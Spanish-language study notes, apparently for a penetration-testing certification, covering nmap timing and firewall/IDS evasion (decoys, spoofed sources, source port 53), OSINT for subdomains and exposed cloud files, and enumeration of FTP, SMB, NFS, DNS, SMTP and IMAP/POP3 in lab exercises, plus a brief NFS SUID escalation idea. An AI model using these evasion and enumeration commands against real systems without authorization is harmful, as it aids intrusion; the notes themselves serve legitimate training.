–script-updatedb Actualizar BBDD NSE

Ejemplo lanzando 2 scripts especificos

sudo nmap IP -p25 --script name,name

![[Pasted image 20260327170012.png]]

Ejemplo lanzando todos los scripts de vuln al puerto 80

Solo se ejecutaran los vulns relacionados con ese servicio

sudo nmap IP -p80 -sV --script vuln

![[Pasted image 20260327170129.png]]

LABORATORIO

![[Pasted image 20260327171150.png]]![[Pasted image 20260327171203.png]]![[Pasted image 20260327171210.png]]

CPTS

6. Rendimiento

Tiempos de espera

Cuando nmap envia un paquete siempre tiene un RTT para recibir respuesta. Este puede modificar para que nuestros escaneos duren menos. Por defecto el inicial es 100ms

Parametro Explicacion
–initial-rrt timeout Nms Tiempo de espera inicial antes de darlo por perdido
–max–rtt-timeout Nms Tiempo de espera maximo antes de darlo por perdido

Ejemplo con y sin estos parametros en escaneo de puertos y host discovery:

  • Default:

![[Pasted image 20260327171957.png]]

  • Optimizando RTT

![[Pasted image 20260327172025.png]]

Vemos que tardamos mucho menos pero hemos perdido 2 hosts que si que estaban activos

Intentos maximos

El valor por defecto los intentos maximos son 10 pero lo podemos reducir incluso a 0

Parametros Explicacion
–max-retries 0 Numero maximo de intentos

Ejemplo de escaneo de puertos:

  • Defautl:

![[Pasted image 20260327172244.png]]

  • Intentos reducidos:

![[Pasted image 20260327172302.png]]

Vemos que hemos perdido 2 puertos en el escaneo aunque hemos bajado el tiempo

Numero de paquetes

Seguramente estemos en una whitelist. Si conocemos el ancho de banda de la red podemos hacer que se envien mas paquetes por segundo para hacer el escaneo mas rapido

Comandos Explicacion
–min-rate N Numero minimo de paquetes enviados

Ejemplo de escaneo de puertos y host discovery:

  • Default: ![[Pasted image 20260327172629.png]]

  • Paquetes minimos optimizados: ![[Pasted image 20260327172649.png]]

Podemos ver que hemos tardadmo mucho menos. Yo pondria –min-rate 5000

Timing

Son plantillas predefinidas que podemos usar para modificar los escaneos de forma automatica

![[Pasted image 20260327172757.png]]

Ejemplo usando estas plantillas:

  • Default: ![[Pasted image 20260327172853.png]]

  • Usando -T5: ![[Pasted image 20260327172914.png]]

CPTS

7. Evasion Firewall E Ids Ips

Firewall

Medida de seguridad contra conexiones no autorizadas desde redes externas. Son componenetes sw que monitorizan el trafico de red y deciden como tratar esa conexion mediante reglas (allowed, block, ignored)

Determinando Firewall rules

Como ya sabemos cuando nos da un puerto filtered puede ser por varias razones.

  • Droped: no responde
  • Rejected: si responde
    • TCP: flag RST
    • ICMP:
      • Net Unreachable
      • Net Prohibited
      • Host Unreachable
      • Host Prohibited
      • Port Unreachable
      • Proto Unreachable

Para saberlo recordamos usar estos para tener una salida mas limpia:

nmap -Pn -n --disable-arp-ping --packet-trace ...
Parametros Explicacion
-sA -sA es mucho mas dificil de filtrar por los firewalls e IDS/IPS que -sS y -sT ya que solo envian paquetes con flag ACK

Esto sucede ya que con SYN el firewall detecta que viene externamente y que es el incio de una conversacion y por eso lo bloquea. Pero con ACK no puede determinar si la conexion fue inciada desde la red externa o por la red interna

Ejemplo SYN scan:

![[Pasted image 20260328093815.png]]

Estamos viendo que el puerto 21 es rejected y el 25 es dropped

Recibimos flags SA

Ejemplo ACK scan:

![[Pasted image 20260328093854.png]]

Vemos que el puerto 21 es unreachable y el 25 no tiene respuesta

Recibimos flags R

IDS/IPS

IDS escanea la red por potenciales ataques, los analiza y reporta cualquier ataque detectado IPS realiza medidas de seguridad si un ataque es detectado por IDS

(Se basan en pattern matching y signatures)

Detectando IDS/IPS

Es mas dificil ya que monitorizan de forma pasiva todo el trafico y si algo casa con una especificacion que tengan notifican al administrador

Sistemas de servidores virtuales privados VPS con diferentes IP addresses son recomendados para determinar si estos sistemas estan en la red objetivo. Si el admin detecta un posible ataque el primer paso sera bloquear la IP y nuestro ISP sera contactado y bloqueado de todos los accesos de la red

  • Entonces una forma de detectar si hay IPS es el sistema objetivo es usar un solo host del VPS y si en algun momento somos bloqueados podemos continuar con otro VPS

Decoys

Hay casos en los que se bloquean subredes de un regios o el IPS nos bloquea. Por esto usaremos Decoy

Las IPs decoys deben corresponder a IPs vivas que respondan (Si es externa no poner 8.8.8.8 o 1.1.1.1 tiene que ser creible y si es interna usar algunas que esten en su subred o se puedan comunicar con la maquina objetivo)

Como el spoofing suele ser bloqueado, se usan IPs reales (como VPS) bien enrutadas. Además, se puede usar un idle scan, donde un host ‘zombie’ con IP ID predecible permite inferir si un puerto está abierto o cerrado observando cambios en su IP ID tras recibir respuestas del objetivo (ese zombie puede ser una maquina de la misma red, una virtual tuya, impresoras de red, routers…)

Parametro Explicacion
-D IP,IP,TU_IP Con esto generamos varias IPs random a nuestra eleccion que se insertan en los headers y las añades junto a la tuya
-D RND:N Con esto generamos N IPs aleatorias de forma automatica
-sI zombie_IP 1 solo zombie a la vez, contra pocos puertos destino y accesible desde el destino. Es la ocultacion real
-S IP Suplantas completamente tu IP origen pero la respuesta se manda a esa IP falsa.

Si controlamos esa IP (como que fuera nuestro VPS) o hacemos MITM (como ARP Spoofing en la misma LAN) podremos ver la respuesta pero sino no sabremos que responde porque se la manda directamente a la otra IP origen

-S IP -e INTERFAZ Cuando spoofeamos una IP que debe ser accesible al objetivo debemos especificar la INTERFAZ de esa IP spoof para que nmap no use otra interfaz y generar inconsistencias

Ejemplo Decoy:

![[Pasted image 20260328095812.png]]

Ejemplo Spoof Source IP:

![[Pasted image 20260328102814.png]]![[Pasted image 20260328102820.png]]

DNS Proxying

Los DNS de la empresa son mas confiables para los sistemas que los externos. Podemos usar esto para comunicarnos con la red interna por ejemplo

Parametros Explicacion
–dns-server NS1,NS2 Con esto podemos cambiar el DNS al que le hacemos la resolucion solo en nmap y evitar generar logs internos por fallos, ver como responde el destino a diferentes DNS… Es como cambiar /etc/resolv.conf pero solo a nivel nmap

Ademas como se explico antes, las maquinas de la empresa confian mas en el DNS de la empresa por lo que cambiando el NS al de la empresa podriamos comunicarnos con maquinas internas si estamos en una DMZ
–source-port 53 Podemos usar este puerto para los escaneos que suele ser confiable

Al ser confiable es posible que el adminsitrador haya hecho malos filtros firewall aceptando el trafico desde el 53
nc -nv –source-port 53 IP PUERTO Podemos conectarnos con netcat desde el puerto 53

Ejemplo Usando Puerto 53:

Aqui se ve como de normal no responde pero al puerto 53 si

![[Pasted image 20260328103646.png]]![[Pasted image 20260328103654.png]]

Ejemplo conexion netcat desde puerto 53:

![[Pasted image 20260328103855.png]]

CPTS

8. Laboratorios

Easy

Descubrir el nombre del SO

![[Pasted image 20260330141009.png]]

Medium

Conseguir la version del servidor DNS

![[Pasted image 20260330141935.png]]

Vemos que 53 esta filtrado y vemos que es debido a rejected. Puede que nos lo niegue el IDS/IPS o firewall porque detecte escaneo

![[Pasted image 20260330142007.png]]

Vamos a probar decoy sobre el puerto 53 de DNS para ver si ya no nos lo niega

![[Pasted image 20260330142959.png]]![[Pasted image 20260330143011.png]]

Hard

Encontrar la version de los servicios

![[Pasted image 20260330145119.png]]

No encontramos la flag asi que debe ser otro puerto que este abierto. Vamos a ir probando hasta encontrarlo

![[Pasted image 20260330150722.png]]![[Pasted image 20260330150735.png]]

Encontramos un puerto 50000 ![[Pasted image 20260330151716.png]]

Vamos a ver si es rejected o dropped. Vemos que se cierra repentinamente debe ser porque detecta escaneo

![[Pasted image 20260330151947.png]]

Vamos a conectarnos para ver si nos da un banner. Obtenemos un banner que seria su version

![[Pasted image 20260330152042.png]]

CPTS

1. Informacion Del Dominio

Se refiere a la presencia entera en Internet

Para la parte pasiva podemos usar herramientas de terceros. Pero lo primero es ver el web site principal, leerlo y mantener en la cabeza las tecnologias y estructura que necesitan esos servicios

Tenemos que prestar atencion a lo que podemos ver y a lo que no. Vemos los servicios pero no su funcionalidad, para que esta ese servicios expuesto

Presencia Online

Lo primero es mirar el certificado SSL. Este puede contener mas de un subdominio y esto significa que este certificado se usa para varios subdominio activos

![[Pasted image 20260331203912.png]]

Otra fuente para encontrar subdominios: crt.sh

Aqui salen los certificados firmados por CAs o Unidades Certificadoras legitimas y nos permite distinguir certificados falsos y malicisos

![[Pasted image 20260331204312.png]]

Podemos mostrar los resultados en JSON:

curl -s https://crt.sh/\?q\=DOMINIO\&output=json | jq .

![[Pasted image 20260331204435.png]]

O filtrar por los subdominios:

curl -s https://crt.sh/\?q\=DOMAIN\&output\=json | jq . | grep name | cut -d":" -f2 | grep -v "CN=" | cut -d'"' -f2 | awk '{gsub(/\\n/,"\n");}1;' | sort -u

![[Pasted image 20260331204524.png]]

Host servers

Tras esto podemos usar el comando host para identificar todas las IPs de estos subdominios:

for i in $(cat ARCHIVO_DOMINIOS);do host $i | grep "has address" | grep inlanefreight.com | cut -d" " -f1,4;done

![[Pasted image 20260331204617.png]]

Shodan IP List

Despues podemos usar Shodan

Nos mostrara informacion de los sistemas y dispositivos que estan coenctados a Internet. Podemos pasarla la lista de IPs para que nos de informacion de forma pasiva de estos hosts

1. for i in $(cat ARCHIVO_DOMAINS);do host $i | grep "has address" | grep DOMINIO | cut -d" " -f4 >> ARCHIVO_IPs.txt;done 

2. for i in $(cat ARCHIVO_IPs.txt);do shodan host $i;done

![[Pasted image 20260331205228.png]]![[Pasted image 20260331205236.png]]

DNS Records

Tambien podemos sacar los registros DNS del dominio con dig

dig any DOMAIN

![[Pasted image 20260331205332.png]]

Podemos ver a parte de nuevos IPs y subdominios, ahora podemos ver tambien proveedores externos detras de las entradas:

![[Pasted image 20260331210851.png]]

Si buscamos vemos que por ejemplo Atlassian lo usa la compañia como solucion de desarrollo de sw, Google Email puede indicarnos que usan Google para gestion de mails y probablemente podamos encontrar un GDrive, LogMeIn regula y maneja el acceso remoto de diferentes niveles, Outlook puede indicar otro gestionador de mails pero tambien uso de herramietnas como Azure, Office 365…

Recalcar que lso Registros TXT nos pueden dar informacion de verification keys de diferentes proveedores de 3os y otros aspectos de seguridad DNS. Por ejemplos SPF, DMARC y DKIM que son responsables de verificar y confirmar el origen de los emails enviados

SPF: dice que servidores pueden enviar emails en nombre de tu dominio
DKIM: añade una firma digital al correo
DMARC: define que hacer si los otros fallan. Bloquear, mandar a spam, nada...

Ejemplo: nos envian un correo

Nuestro Gmail, Outlook realiza estas comprobaciones: en el dominio real:

  1. Determina si la IP desde la que lo mandas esta verificada el dominio desde el que se supone que se manda en el SPF del dominio real
  2. Comprueba si tiene un firma digital del DKIM del dominio real
  3. Si ambas fallan o por defecto se ejecutan unas acciones por DMARC del dominio real

CPTS

2. Recursos Cloud

El uso de AWS (S3 buckets), GCP (blobs) y Azure (cloud sotrage) entre otros esta muy extendido en las compañias

Aunque los proveedores de cloud son los que se encargan de la seguridad de la infraestructura, las malas configuraciones de los adminsitradores pueden hacer que los recursos cloud sean vulnerables

Podemos sacar los subdominios y ver si se estan usando infraestructuras cloud:

1. curl -s https://crt.sh/\?q\=DOMAIN\&output\=json | jq . | grep name | cut -d":" -f2 | grep -v "CN=" | cut -d'"' -f2 | awk '{gsub(/\\n/,"\n");}1;' | sort -u

2. for i in $(cat ARCHIVO_SUBDOMINIOS);do host $i | grep "has address" | grep DOMAIN | cut -d" " -f1,4;done

![[Pasted image 20260331214032.png]]![[Pasted image 20260331214045.png]]

Otra forma de encontrar almacenamientos cloud:

intext:EMPRESA inurl:amazonaws.com | blob.core.windows.net 

![[Pasted image 20260331215002.png]]

Estos enlaces contenienen pdfs

Codigo fuente de las paginas web

Tambien podemos ver enlaces donde se pueden encontrar archivos almacenados a los que se hacen referencia desde la pagina web

![[Pasted image 20260331215225.png]]

Domain Glass

domain.glass es una herramienta que nos dira sobre la infraestructura de la compañia.

Nos da informacion registros DNS, Subdominios, IPs asoicadas, Infraestructura como si usa cloud, hosting, certificado ssl

![[Pasted image 20260331215610.png]]

Aqui vemos Cloudflare security assessment status for EMPRESA.amazonaws.com Safe. Esto quiere decir que detras de la web esta cloudflare que esta protegiendo el dominio

Cloudflare hace de WAF, Proxy/CDN ocultando la IP real del servidor y proteccion ante DDoS (capa 2 gateway (firewalls, proxies…) la capa 1 es la web en si)

GrayHayWarfare

GrayHatWarfare es una herramienta OSINT que indexa archivos publicos de la nube de una empresa o dominio

![[Pasted image 20260331220342.png]]

En el ejemplo dado vemos que podemos encontrar un archivo id_rsa e id_rsa.pub

![[Pasted image 20260331220456.png]] ![[Pasted image 20260331220510.png]]

CPTS

3. Empleados

Sacar empleados de redes sociales nos puede dar mucha informacion de la infraestructura, lenguajes y aplicaciones de sw usadas basado en las skills de los empleados. Tambien los trabajos que busca la empresa nos puede dar informacion

Podemos identificarlos en LinkedIn o Xing

Ejemplo oferta empleo

![[Pasted image 20260331221313.png]]

Vemos lenguajes, framworks, databases…

Ejemplo empleado de LinkedIn

![[Pasted image 20260331221342.png]]

Repositorios GitHub

El usuario anterior tiene un repositorio de GitHub

Estos pueden ser buenos para demostrar nuestro trabajo pero pueden mostrar datos y fallos que seran dificiles de solucionar

En este ejemplo encontramos el correo persoanl del empleado y mirando mas afondo en esa url de github vimos un token JWT hardcodeado:

![[Pasted image 20260331221745.png]]

CPTS

1. FTP

File Transfer Protocol - 21/TCP

Ambos establecen el canal de datos por el puerto 20/TCP y es solo usado para transmision de datos. En una conexion que se rompa durante la transmision puede ser retomada tras volver a establecer contacto

Dos distinciones de comunicacion:

  • Activa: el cliente establece la conexion sobre el puerto 21 y de este modo informa al servidor que puerto del lado del cliente debe transmitir las respuestas. Si un firewall protege al cliente, el servidor no podra responder porque las conexiones externas seran bloqueadas
  • Pasivo: el servidor anuncia un puerto por el cual el cliente puede establecer el canal de datos. Mientras el cliente se conecte por aqui el firewall no bloqueara la transferencia

Normalmente necesitaremos credenciales validas en texto claro. Otras veces estara el anonymous FTP activado

TFTP: es la version UDP de FTP. No provee caracterisiticas autenticacion. Se basa en los permisos de lectura y escritura del archivo en si. Por eso se suele usar en archivos compartidos que todos pueden leer, debido a su falta de medidas de seguridad

Footprinting

locate scripts/ftp

sudo nmap -Pn -sS -sVC -p21 IP

![[Pasted image 20260401164858.png]]

Vemos que esta el login anonymous permitido y se ha listado Vemos que tiene deshabilitado el UID y GID Vemos que ftp-syst ejecuto STAT y nos devolvio el server status

Otras formas de interactuar con FTP:

nc -nv IP PUERTO
telnet IP PUERTO

FTP + SSL

Si FTP soporta SSL necesitaremos un cliente que tambien los soporte. Usaremos openssl

openssl s_client -connect IP:PUERTO -starttls ftp

Con esto tambien veremos el certificado SSL

![[Pasted image 20260401165416.png]]

Comandos y cosas a comprobar

Acceso FTP normal y anonimo

ftp IP Puerto
	User : USER o anonymous
	Pass :  PASS o Enter

![[Pasted image 20260401162810.png]]

o

ftp ftp://USER:PASS@IP

![[Pasted image 20260708185504.png]]

FTP Commands

commands : aqui estan todos los comandos de FTP

Comandos Explicacion
? Lista de comandos que podemos usar

Obtener mas info del sistema y salida

status : estados de respuesta FTP

Comandos Explicacion
debug Muestra info detallada sobre lo que hace el cleinte FTP (comandos que envia, respuestas de estado del servidor, info de la conexion)
trace Muestra los comandos que se envian pero con menos detalle que debug
![[Pasted image 20260401163444.png]]

Ocultacion de UID y GID de los archivos

Cuando esto esta activado no podremos ver quien es el propietario del archivo ni el grupo.

En su lugar veremos : “ftp ftp”

![[Pasted image 20260401164027.png]]

Con esto tambien evitan relevar nombres de usuario

Listado recursivo

Nos dara una mejor vista y de forma rapida del servidor ftp

Comandos Explicacion
ls -R Lista de forma recursiva desde donde estamos

![[Pasted image 20260401164305.png]]

Descargar y subir archivos

Esto se puede aprovechar usando despues LFI en eel webpage para poder ejecutar comandos en el sistema

Comandos Explicacion
get archivo Descargar archivo
wget -m –no-passive ftp://USER:PASS@IP Descargar todo de forma recursiva
put archivo_local
![[Pasted image 20260401164557.png]]![[Pasted image 20260401164604.png]]![[Pasted image 20260401164611.png]]

LABORATORIO

  1. La version de FTP

![[Pasted image 20260401170255.png]]![[Pasted image 20260401170307.png]]![[Pasted image 20260401170312.png]]

  1. Conseguir la flag del archivo del servidor

![[Pasted image 20260401170752.png]]![[Pasted image 20260401170803.png]]

CPTS

2. SMB

Server Message Block es un protocolo cliente servidor para regular el acceso a archivos, directorios y recursos de red como impresoras, routers… en una misma LAN Samba es la version Linux que permite comunicarse con Windows. Samaba implementa CIFS que es un dialecto de SMB. CIFS es una version antigua de SMB

La comunicacion se establece mediante un 3 way handshake por TCP

  • SMB antiguo (NetBIOS) usaba puertos:
    • 137 (NetBIOS Name Service, resolucion de nombres)
    • 138 (NetBIOS Datagram Service)
    • 139 (NetBIOS Session Service, aqui va SMB) –> CIFS opera aqui
  • SMB moderno usa puerto 445

Versiones SMB y caracteristicas

![[Pasted image 20260401171918.png]]

Footprinting

sudo nmap -Pn -sS -sVC -p139,445

![[Pasted image 20260401172750.png]]

No nos dice mucho pero podemos interactuar manualmente con SMB

SMBClient

smbclient -N -L \\\\IP o //IP
smbclient -L \\\\IP -U USER
smbclient -N \\\\IP\share
smbclient \\\\IP\share -U USER
Parametros Explicacion
-L Listar
-N Como usuario anonimo
-U USER Como usuario
-P PASS Especificar password

![[Pasted image 20260401172329.png]]![[Pasted image 20260401172353.png]]![[Pasted image 20260401172418.png]]

RPCCLient

RPC - Remote Procedure Call

rpcclient -U "" IP
rpcclient -U "USER" IP

![[Pasted image 20260401173845.png]]

Comandos Explicacion
srvinfo Informacion del servidor
enumdomains Enumera todos los dominios de la red
querydominfo Provee info de dominio, servidor y usuarios
netshareenumall Enumera los shares de la red
netsharegetinfo SHARE Da infomacion de un share en especifico
enumdomusers Enumera todos los usuarios del dominio
queryuser RID Info de un usuario especifico
querygroup RID_GRUPO_USUARIO Info de un grupo. El RID de grupo lo sacamos del queryuser de un usuario

![[Pasted image 20260401174144.png]] ![[Pasted image 20260401174212.png]] ![[Pasted image 20260401174334.png]] ![[Pasted image 20260401174400.png]] ![[Pasted image 20260401174521.png]]

Abra veces en las que no todos los comandos se puedan usar por restricciones del usuario. Si podemos usar queryuser y no enumdomusers podemos hacer fuerza bruta de RIDs para encontrar usuarios reales:

for i in $(seq 500 1100);do rpcclient -N -U "USER" IP -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done

![[Pasted image 20260401174810.png]]

Samrdump Impacket

Una alternativa es usar samrdump.py de Impacket

![[Pasted image 20260401174944.png]]

SMBMap

smbmap -H IP
smbmap -H IP -u USER -p PASS

![[Pasted image 20260401175029.png]]

Parametros Explicacion
-r SHARE Enumerar contenido del share
–download “SHARE/archivo” Descargar archivo del share

Crackmapexec

crackmapexec smb IP --shares -u '' -p ''
crackmapexec smb IP --shares -u 'USER' -p 'PASS'

![[Pasted image 20260401175143.png]]

Enum4Linux

enum4linux IP -a
enum4linux IP -a -u 'USER' -p 'PASS'

![[Pasted image 20260401175225.png]]![[Pasted image 20260401175231.png]] ….

Comandos SMB

Comandos Explicacion
ls Listar
cd DIRECTORIO Movernos
get ARCHIVO Descargar archivo
put ARCHIVO_LOCAL Subir archivo
!COMANDO Nos permite ejecutar un comando en nuestra terminal

Ejemplo: !cat archivo

LABORATORIO

  1. Que version esta corriendo

![[Pasted image 20260401180047.png]]

  1. Nombre del share accesible

![[Pasted image 20260401180312.png]]

![[Pasted image 20260401180427.png]]![[Pasted image 20260401180446.png]]

  1. Conectarse al share y obtener la flag

![[Pasted image 20260401180649.png]]

  1. Encontrar el nombre del dominio

![[Pasted image 20260401180743.png]]

  1. Encontrar informacion adicional sobre ese share que podemos acceder y dar la version customizada

![[Pasted image 20260401180910.png]]

  1. Cual es el path de ese share

![[Pasted image 20260401181144.png]]

CPTS

3. Nfs

Network File System tiene la misma finalidad que SMB pero entre Linux y Unix systems. No tiene mecanismos de autenticacion ni autorizacion la cual esta delegada a la informacion de archivo que se quiera acceder (UID/GID y group membership)

Puerto 111 TCP/UDP y 2049 TCP

Versiones:

![[Pasted image 20260402113526.png]]

Footprinting

sudo nmap -Pn -sS -sVC -p111,2049 IP

![[Pasted image 20260402114015.png]]

Esto nos da una lista de los servicios RPC que estan corriendo, sus nombres, descripciones y los puertos que usan

sudo nmap -Pn -sS -sV --script=nfs* -p111,2049 IP

![[Pasted image 20260402114228.png]]![[Pasted image 20260402114244.png]]

Esto nos esta dando el contenido y sus permisos, estado, ubicacion en la que esta montado…

Montar Shares NFS

Una vez que descubrimos el servicio NFS podemos montar en nuestro sistema local y navegar entre los directorios

showmount -e IP

![[Pasted image 20260402114503.png]]

mkdir DIRECTORIO
sudo mount -t nfs IP:/ ./DIRECTORIO -o nolock

![[Pasted image 20260402114612.png]]

Aqui vemos que en nuestra carpeta hemos montado el /mnt/nfs. Desde aqui en local podremos ver permisos, usuarios y grupos a los que pertenecen estos archivos

![[Pasted image 20260402114835.png]]

Listar contenidos para ver UIDs y GUIDs

ls -n mnt/nfs

![[Pasted image 20260402114912.png]]

Desmontando

sudo umount ./DIRECOTRIO

![[Pasted image 20260402115921.png]]

Explicacion root_squash

Es una parametro que se activa en la configuracion de NFS que impide modificar los archivos por el root local del que monte el share en su maquina local

  • Como se ve si hay root_squash:

Si al montarlo y listarlo vemos en el UID algo como –> nobody / 65534 –> el root_squash estara habilitado

Si vemos em el UID –> 0 - root –> estara deshabilitado y podremos modificar el contenido de los archivos montados con nuestro root local

Ejemplo claro de root_squash on: ![[Pasted image 20260402120848.png]]

Escalada de privilegios NFS + SUID + SSH o acceso RCE

Si tenemos acceso por ejemplo via ssh podemos subir a la carpeta del share un shell con el SUID del usuario que queramos conectarnos y ejecutar el shell via SSH

En nuestro listener nos dara una shell con ese usuario

LABORATORIO

  1. Mostrar flag del share “nfs”

![[Pasted image 20260402120447.png]] ![[Pasted image 20260402120456.png]] ![[Pasted image 20260402120815.png]]

  1. Mostrar flag del share “nfsshare”

![[Pasted image 20260402121009.png]]

Ejemplo

![[Pasted image 20260405112255.png]]

CPTS

4. DNS

Domain Name System es un sistema de resolucion de nombres de computadoras a IPs

Esta informacion se reparte en cientos de NS en el mundo distribuidos

FQDN : Nombre de dominio completamente cualificado :

- host.subdominio.dominio.tld

Enumerar DNS sirve para encontrar:

  • Hostnames
  • Subdomains que podemos poner en el navegador y puede que tengan utilidades diferentes
  • IPs que podemos enumerar
  • Servicios como correo etc

Todos estos se pueden enumerar y encontrar nuevos puertos y vectores de ataque

Tipos de DNS Server:

![[Pasted image 20260402130656.png]]![[Pasted image 20260402131033.png]]

DNS Records

![[Pasted image 20260402131051.png]]

Footprinting

Dig

La informacion generada por los DNS se obtiene a partir de solicitudes que enviamos

SOA

Este nos muestra quien es el servidor DNS principal de un dominio (NS primary) y como se gestiona la zona

![[Pasted image 20260402132300.png]]

En este ejemplo se da informacion de inalefreight.com (zona principal) no de www.inlanefreight.com (subdominio):

  • ns-161.awsdns-20.com : es el DNS Server principal
  • awsdns-hostmaster.amazon.com –> [email protected] : es el email del admin

Encontrar NS

Este servidor es que corre el puerto 53 y el que nos estan dando directamente en los labs

Podemos consultar el servidor DNS para saber que otros NS conoce:

dig ns DOMAIN @IP_NS

EL @IP indica el servidor DNS (NS) que se quiere consultar, sin el resolveriamos usando el /etc/resolv.conf

![[Pasted image 20260402131456.png]]

Ver version DNS Server

dig CH TXT version.bind IP_NS

![[Pasted image 20260402131842.png]]

Ver todos los DNS records

No todos los registros de la zona se mostraran porque puede que esten bloqueados

dig any DOMAIN @IP_NS

![[Pasted image 20260402132108.png]]

Zone transfer - AXFR

Esto se refiere a las transferencias que se hacen entre zonas, de un DNS a otro que suelen pasar por el puerto 53

Si un DNS falla puede tener consecuencias graves. Si se cambia algo de un DNS se debe asegurar que todos los servidores tienen los mismos datos y estan sincronizados - La sincronizacion se hace mediante las Zone Transfer

Normalmente los datos originales se almacenan en el NS primario de la zona. Casi siempre hay un NS secundario para temas de seguridad

Las entradas son cambiadas, creadas o elminadas en el DNS primario. Esto se puede hacer manualmente editando el zone file o automaticamente actualizando la database

Un DNS server que se usa como fuente directa para sincronizar un zone file se le llama master (DNS primario) Un DNS server que recibe zone data de un master se le llama esclave (DNS secundario)

El esclavo revisa cada cierto tiempo (refresh time) o el serial number (si es mayor revisa) el SOA del master

dig axfr DOMAIN @IP_NS

![[Pasted image 20260402134150.png]]

Podemos buscar en otras zonas en busca de otras IPs, ejemplo de internal:

![[Pasted image 20260402134244.png]]

Brute force subdomains

Bash

for sub in $(cat /opt/useful/seclists/Discovery/DNS/subdomains-top1million-110000.txt);do dig $sub.DOMAIN @IP | grep -v ';\|SOA' | sed -r '/^\s*$/d' | grep $sub | tee -a subdomains.txt;done

DNSenum

dnsenum --dnsserver IP --enum -p 0 -s 0 -o ARCHIVO.txt -f /opt/useful/seclists/Discovery/DNS/subdomains-top1million-110000.txt DOMAIN

![[Pasted image 20260402134524.png]]![[Pasted image 20260402134531.png]]

Que puedo hacer

![[Pasted image 20260405170629.png]]![[Pasted image 20260405170636.png]]

MX

Significa que esta corriendo un SMTP y/o un IMAP/POP3 que podemos tener como objetivo

LABORATORIO

  1. Interactua con el DNS usando esta IP y enumera el FQDN del dominio inlanefreight.htb

![[Pasted image 20260402134919.png]]

Encontramos el NS parece solo haber 1 por lo que sera el primario

  1. Mirar si podemos hacer un zonetransfer y devolver el registro TXT

![[Pasted image 20260402135212.png]]

Encontramos varias zonas pero no la flag. Vamos a probar a hacer zone transfer a alguna de estas zonas como internal:

![[Pasted image 20260402135314.png]]

  1. IP address de DC01

![[Pasted image 20260402135355.png]]

  1. Que FQDN tiene el host con ### x.x.x.203

Probamos fuerza bruta en el dominio y subdominios encontrados

![[Pasted image 20260402165136.png]]

![[Pasted image 20260402165204.png]]

Deja hacer zonetransfer pero no lo encuentra

![[Pasted image 20260402165243.png]]

Vemos que app no deja hacer zonetransfer. Probamos con el siguiente

![[Pasted image 20260402165219.png]]

CPTS

5. SMTP

Simple Mail Transfer Protocol es un protocolo para enviar emails que puede ser usado entre un cliente email y un marl server o entre dos mail servers

Normalmente se combina con IMAP o POP3 los cuales pueden buscar y enviar emails

Puertos : 25 TCP (por defecto), versiones nuevas 587 (TCP) suele ser el encriptado con SSL

La autenticaciones con credenciales y una vez que nos autentiquemos podremos enviar y recibir mails

Pasos al enviar un mail

![[Pasted image 20260402171420.png]]

MUA o cliente convierte el mensaje en header y body MSA es checkea la validacion, origen… MTA es un sw que recibe y envia el mail y checkea el tamaño y si es spam. Tambien revisa en los registros DNS la IP del mail server MDA reasambla el header y body en uno y lo envia al mailbox

2 desventajas inneherentes:

  • El envio no nos da una confirmacion de vuelta por defecto. Normalmente solo devuelve un mensaje de error en ingles del mensaje no entregado
  • Los usuarios no se autentican al establecer la conexion, por lo que el sender es poco confiable, por lo que los ataques de SMTP relay se usan para enviar spam Los remitentes utilizan direcciones de correo electrónico falsas y arbitrarias para evitar ser rastreados (suplantación de identidad por correo electrónico) Para esto se usa DKIM y SPF, para enviarlo directamente a la carpeta de spam

Comandos y codigos

![[Pasted image 20260402172327.png]]

Codigos SMTP

![[Pasted image 20260402172744.png]]

Footprinting

sudo nmap -Pn -sS -sVC -p25 IP

![[Pasted image 20260402173253.png]]

Podemos probar con un NSE si el servidor SMTP es un Open Relay (permite enviar correo sin autenticacion a cualquier destino). Este NSE realizara 16 pruebas distintas

Como vemos en la salida es un Open Relay y las 16 pruebas han tenido exito:

![[Pasted image 20260402173731.png]]![[Pasted image 20260402173741.png]]

*Si pusiese un 10/16 eso signfica que puedo usar esas 10 tecnicas para hacer openrelay. Con que funcione una vale

EJEMPLO: funcioann 3/16 pues podemos usar esas 3

![[Pasted image 20260402174027.png]]

Interaccion

telnet IP PUERTO (25 o 587) 
HELO MAILSERVER o EHLO SUBDOMINIO

![[Pasted image 20260402172510.png]]

VRFY se puede usar para enumerar usuarios pero no siempre funciona. Code 252 confirma un usuario que en realidad no existe en el sistema

![[Pasted image 20260402172657.png]]

Enviar un mail

EHLO domain
MAIL FROM: usuario@domain
RCPT TO: usuario@domain NOTIFY=success,failure
DATA
	Escribimos lo que queramos
	.
QUIT

![[Pasted image 20260402173128.png]]![[Pasted image 20260402173139.png]]

Enumerar usuarios

Si VRFY esta disponible, nos conectamos y vamos probando:

VRFY USER
	250 ok : EXISTE
	252 : NO PUEDE VERIFICARLO = NO EXISTE

Otra forma si esta VRFY de forma automatica:

smtp-user-enum -M VRFY -U WORDLIST -t IP -p 25 -w 20 

Si no existe VRFY entonces probamos esta opcion:

![[Pasted image 20260402180218.png]]

LABORATORIO

  1. Enumerar el servicio y encontrar el banner de la version ![[Pasted image 20260402174604.png]] ![[Pasted image 20260402174554.png]]

  2. Enumerar el servicio SMTP y encontrar al usuario

Usamos la Wordlist que nos dan:

![[Pasted image 20260402175711.png]]![[Pasted image 20260402180044.png]]

CPTS

6. Imap POP3

IMAP permite el acceso a mails desde un server, gestion remota de emails y soporta estructura de carpetas. Tambien proporciona sincronizacion del email local con el mailbox del server. Es basado en texto y tiene funciones como buscador, acceso simultaneo por varios usuarios

POP3 solo provee listado, recuperado y borrado de mails en el mail server

Los clientes pueden crear copias locales del database central y necesita autenticacion por credenciales

IMAP Puerto : 143 TCP o 993 TCP (SSL) POP3 Puerto : 110 TCP o 995 TCP (SSL)

SMTP se usa para el envio de mails e IMAP/POP3 se usan para el almacenado y añadir mas funcionalidades al servidor o mailbox

Footprinting

sudo nmap -Pn -sS -sVC -T4 -p110,143,993,995 IP

![[Pasted image 20260403102504.png]]

De esta salida podemos ver el common name del mailserver “mail1.inlanefreight.htb” y pertenece a la organizacion Inlafreight en California..

Tambien podemos ver las caracteristicas montadas en cada protocolo. Se ven en la parte de capabilities

Loggin con curl sin SSL

curl -k 'imaps://IP' --user USER:PASS
Con -v podremos ver: como se realiza la conexion, certificado SSL, version del servidor en el banner...

![[Pasted image 20260403103512.png]] ![[Pasted image 20260403103540.png]]

Login openssl para SSL conections

openssl s_client -connect IP:pop3s

